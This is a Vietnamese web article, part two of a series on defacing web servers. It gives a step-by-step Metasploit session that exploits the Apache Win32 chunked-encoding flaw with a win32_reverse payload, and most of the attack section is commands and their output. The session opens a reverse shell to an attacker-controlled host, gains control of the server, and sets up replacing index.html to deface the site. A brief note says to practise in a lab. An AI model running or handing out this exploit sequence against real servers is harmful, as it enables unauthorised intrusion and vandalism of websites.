Tìm kiếm PhanVien.Com Web
Download PhanVien.Com Toolbar
Danh mục thông tin

Các hoạt động phá hoại Web Server (Phần 2)

Trong phần hai của loạt bài này chúng ta sẽ xem xét kỹ hơn cách thức deface (tức phá hoại hay thay đổi lại giao diện) một trang Web hoàn chỉnh. Công cụ được sử dụng ở đây là chương trình bảo mật nguồn mở khá nổi tiếng Metasploit Framework. Phần hướng dẫn chi tiết giúp bạn hiểu và tạo lại chương trình dễ dàng.
Các hoạt động phá hoại Web Server (Phần 2).

Các hoạt động phá hoại Web Server (Phần 2)

 


Tóm tắt phần một

Chúng ta sẽ tóm lược vắn tắt nội dung  đã nêu ở phần một. Ở bài trước chúng ta đã nói đến cách thức một Web  server  có thể bị deface như thế nào và giới thiệu  công cụ sử dụng cho hoạt động  thử nghiệm  để tự deface là gì. Trước khi tiếp tục xin được nhắc lại là các lỗ hổng  tái tạo, hay trường hợp này là hoạt động  deface Web  server  hoàn toàn hợp pháp trong chương trình  học tập về bảo mật  máy tính. Tuy nhiên bạn phải làm thử nghiệm môi trường  thí nghiệm như đã nêu trong phần một. Mặc dù biết có nhiều điểm hạn chế, nhưng ít nhất cũng thoả mãn được phần nào trí tò mò của bạn. Chúng ta cũng sẽ khai thác Metasploit  để hiểu sâu hơn về các hoạt động  deface Web  server.

Từ lý thuyết đến thực tế

Chúng ta sẽ tiếp tục với công cụ Metasploit  và cách sử dụng nó. Trước hết là tăng mức hệ thống  truy cập  vào Web  server  Apache. Khi bạn thấy lớp ngoài đảo ngược, bạn có thể upload file index.html đã được thay đổi. Nó sẽ trở thành trang mặc định được đưa lên server, chẳng hạn như bản dữ liệu  log của công ty  bạn.

Phần bên dưới cho biết điều gì thu được sau câu lệnh "show exploits" (đưa ra các lỗ hổng) khi bạn nhập nó ở màn hình  lệnh prompt msf trong Metasploit. Danh sách các lỗi hổng có thể khai thác được đưa ra:

msf > show exploits

Metasploit Framework Loaded Exploits
====================================

CreditsMetasploit Framework Credits  afp_loginextAppleFileServer LoginExt PathName Buffer Overflowapache_chunked_win32Apache Win32 Chunked Encodingblackice_pam_icqISS PAM.dll ICQ Parser Buffer Overflowdistcc_execDistCC Daemon Command Executionexchange2000_xexch50Exchange 2000 MS03-46 Heap Overflowfrontpage_fp30reg_chunkedFrontpage fp30reg.dll Chunked Encodingia_webmailIA WebMail  3.x Buffer Overflowiis50_nsiislog_postIIS 5.0 nsiislog.dll POST Overflowiis50_printer_overflowIIS 5.0 Printer Buffer Overflowiis50_webdav_ntdllIIS 5.0 WebDAV ntdll.dll Overflow

Bạn có thể thấy một số lỗ hổng  có thể khai thác bên trong framework đã đưa ra. Danh sách trên đã được cắt bớt. Nếu bạn nhập cùng một lệnh như vậy, bạn sẽ có được danh sách đầy đủ. Chúng ta sẽ thử nghiệm  với lỗ hổng  thứ hai  từ trên xuống: apache_chunked_win32.

Bây giờ nhập lệnh để chọn lỗ hổng  chúng ta sẽ dùng như sau:

msf > use apache_chunked_win32
msf apache_chunked_win32 >

Như bạn thấy ở trên, màn hình  lệnh prompt xuất hiện trở lại, báo lại cho bạn biết lỗ hổng  đã được chọn để dùng: apache_chunked_win32. Tiếp theo là lệnh kiểm tra các tuỳ chọn khác nhau gắn kèm với lỗ hổng  dưới framework này.

msf apache_chunked_win32 > show options

Exploit Options
===============

ExploitNameDefaultDescription  -------- ------ ------- ------------------optionalSSL Sử dụng SSLrequiredRHOST Địa chỉ đíchrequiredRPORT80Cổng đích

Target: Windows  NT/2K Brute Force

msf apache_chunked_win32 >  

Màn hình lệnh xuất hiện trở lại với danh sách các tuỳ chọn chúng ta cần điền đầy đủ như địa chỉ IP  host từ xa. Chú ý là bạn cũng cần phải nhập địa chỉ IP  host cục bộ, ví dụ như địa chỉ các máy tấn công  của bạn trong môi trường  thử nghiệm. Bạn cần nhập lệnh thiết lập các tuỳ chọn đó như sau:

msf apache_chunked_win32 > set RHOST 192.168.1.101
RHOST -> 192.168.1.101
msf apache_chunked_win32 >

Chúng ta sẽ xem tuỳ chọn LHOST ở phần sau trong bài này.

Bạn thấy gì từ các tuỳ chọn khai thác lỗ hổng?

Bây giờ chúng ta sẽ thiết lập giá trị  cho trường này. Sau đó tiếp tục thực hiện dần dần với các tuỳ chọn khác nhau khác trước khi sử dụng lỗ hổng  để tăng mức truy cập  hệ thống  trên Web  server. Ở đây bạn sẽ dùng lệnh sau để xem chúng ta có thể dùng được loại payload nào:

msf apache_chunked_win32 > show payloads

Metasploit Framework Usable Payloads
====================================

win32_bind                      

Windows Bind Shell

win32_bind_dllinject         

Windows Bind DLL Inject

win32_bind_stg                

Windows Staged Bind Shell

win32_bind_stg_upexec    

Windows Staged Bind Upload/Execute

win32_bind_vncinject        

Windows Bind VNC Server  DLL Inject

win32_reverse                  

Windows Reverse Shell

win32_reverse_dllinject      

Windows Reverse DLL Inject

win32_reverse_stg             

Windows Staged Reverse Shell

win32_reverse_stg_ie        

Windows Reverse InlineEgg Stager

win32_reverse_stg_upexec  

Windows Staged Reverse Upload/Execute

win32_reverse_vncinject      

Windows Reverse VNC Server  DLL Inject

msf apache_chunked_win32 >       

Lựa chọn trên cho phép sử dụng bất kỳ phần nào bạn chọn. Có nghĩa là bạn sẽ có thể thực thi bất kỳ playload nào đã chọn bằng CPU của máy nạn nhân  khi khai thác lỗ hổng  bạn đang nhắm đến. Có thêm lựa chọn mở rộng này là một trong nhiều cách dùng tuyệt vời của công cụ bảo mật.

Có rất nhiều lựa chọn dành cho bạn. Ở trường hợp của chúng ta là win32_reverse payload vì nó giúp tạo ra được lớp vỏ bên ngoài, cho phép sử dụng được nhiều lần khai thác để tấn công. Để rõ hơn bạn có thể copy  lại file index.html và điều chỉnh nó bằng cách thay đổi giao diện. Xây dựng  được lớp bên ngoài cho phép chúng ta thực hiện điều đó. Còn Framework bạn có tuỳ chọn payload thì sao? Hãy xem cú pháp bên dưới:

msf apache_chunked_win32 > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf apache_chunked_win32(win32_reverse) >

Bây giờ chúng ta đã thiết lập thông số cho payload và quay trở lại màn hình  lệnh. Tiếp theo là thiết lập địa chỉ IP  để nhận lớp ngoài đảo ngược. Thiết lập cho host nhận cũng tương tự như một vài bước biết lập cho RHOST trước đây để đặc tả máy sẽ tấn công. Thực hiện như sau:

msf apache_chunked_win32(win32_reverse) > set LHOST 192.168.1.102
LHOST -> 192.168.1.102
msf apache_chunked_win32(win32_reverse) >  

Bây giờ chúng ta đã thực sự sẵn sàng khởi động lỗ hổng. Cú pháp như sau:

msf apache_chunked_win32(win32_reverse) > exploit 192.168.1.101

[*] Starting Reverse Handler.
[*] Trying to exploit Windows  2000 using return 0x1c0f143c with padding of 348...
[*] Trying to exploit Windows  NT using return 0x1c0f1022 with padding of 348...
[*] Trying to exploit Windows  2000 using return 0x1c0f143c with padding of 352...
[*] Trying to exploit Windows  NT using return 0x1c0f1022 with padding of 352...
[*] Trying to exploit Windows  2000 using return 0x1c0f143c with padding of 356...
[*] Trying to exploit Windows  NT using return 0x1c0f1022 with padding of 356...
[*] Trying to exploit Windows  2000 using return 0x1c0f143c with padding of 360...
[*] Got connection  from 192.168.1.101:1031

Microsoft Windows  2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft  Corp.

C:\Program Files\Apache Group\Apache> 

Từ trên bạn có thể thấy màn hình  lệnh trong thư mục Apache. Có một tuỳ chọn khác chúng ta có thể sử dụng để đặc tả hệ điều hành  đang dùng trong trường hợp này là "target". Ngay cả khi bạn không mô tả tường minh, nó cũng sẽ cố gắng  "thu xếp" để thực hiện những việc nó có thể làm. Để dùng tuỳ chọn target (đích), thực hiện như sau:

msf apache_chunked_win32(win32_reverse) > show targets

Danh sách các đích (target) sẽ được đưa ra. Tất cả việc bạn cần làm là chọn thứ bạn muốn và thiết lập nó như đã làm ở trên:

msf apache_chunked_win32(win32_reverse) > set TARGET 1

Câu lệnh trên nhập đích thứ nhất nếu server  bộ nhớ là W2K Pro,

Công việc đến đây có thể nói là đã hoàn thành. Web  server  Apache bây giờ đã bị bạn xâm hại và có phần bên ngoài đảo ngược. Bạn hoàn toàn có quyền kiểm soát và thao tác trên nó. Chúng ta kết thúc phần hai ở đây và sẽ tiếp tục trở lại phần ba, phần cuối cùng để thực sự phá hoại một trang Web  và suy ngẫm về hậu quả phía sau của các cuộc tấn công  như thế nào.

Tìm bài viết khác
T.Thu (Theo Security)
Updated: 08/05/2008 | Views: 494 | Comments: 0

Comments - Các hoạt động phá hoại Web Server (Phần 2)

Hiện tại chưa có bình luận nào về bài viết Các hoạt động phá hoại Web Server (Phần 2)!

Bạn có ý kiến gì về bài viết Các hoạt động phá hoại Web Server (Phần 2) này? Hãy gởi suy nghĩ, bình luận, đánh giá, lời khuyên ... của bạn về bài viết Các hoạt động phá hoại Web Server (Phần 2) bạn tại đây.

Other articles

Similar Articles Các hoạt động phá hoại Web Server (Phần 2)

Older than Các hoạt động phá hoại Web Server (Phần 2) in Kiến Thức Của Hacker

Newer than Các hoạt động phá hoại Web Server (Phần 2) in Kiến Thức Của Hacker

Recently Published - Kiến Thức Của Hacker
Day ao thuat
Latest Comments in Kiến Thức Của Hacker
By To Sang. Theo toi thi hack 1 trang web khong co gi la kho ca, voi nhung trang web Viet Nam thi .....
By hacker. em nghi rat co hoat dong cua chip duoc su ly that hay theo em nghi no qua that gioi va .....
By tungpl199. ko len cho hack pass va` cau hoi bi mat...
Most Comments in Kiến Thức Của Hacker
Monthly Most Views - Kiến Thức Của Hacker
  English Tiếng Việt 
Bạn đang xem bài viết Các hoạt động phá hoại Web Server (Phần 2) được gởi trong chủ đề Kiến Thức Của Hacker - Công Nghệ Thông Tin. Bài viết Các hoạt động phá hoại Web Server (Phần 2) này được lưu trên Server thành hai bản: Các hoạt động phá hoại Web Server (Phần 2) có dấuCác hoạt động phá hoại Web Server (Phần 2) không dấu. Bạn có thể gởi ý kiến bình luận, đóng góp về bài viết Các hoạt động phá hoại Web Server (Phần 2) này tại phần gởi bình luận ở cuối nội dung bài viết. Lưu ý nội dung của bài viết Các hoạt động phá hoại Web Server (Phần 2) này có thể không còn phù hợp với thời điểm hiện tại. Nếu phát hiện điều này, xin bạn báo cho BQT biết để gỡ bỏ nó.
Home Page | Privacy | Contact | Friend Links | Search | Sitemap | Up
Copyright © 2008 PhanVien.Com . All rights reserved.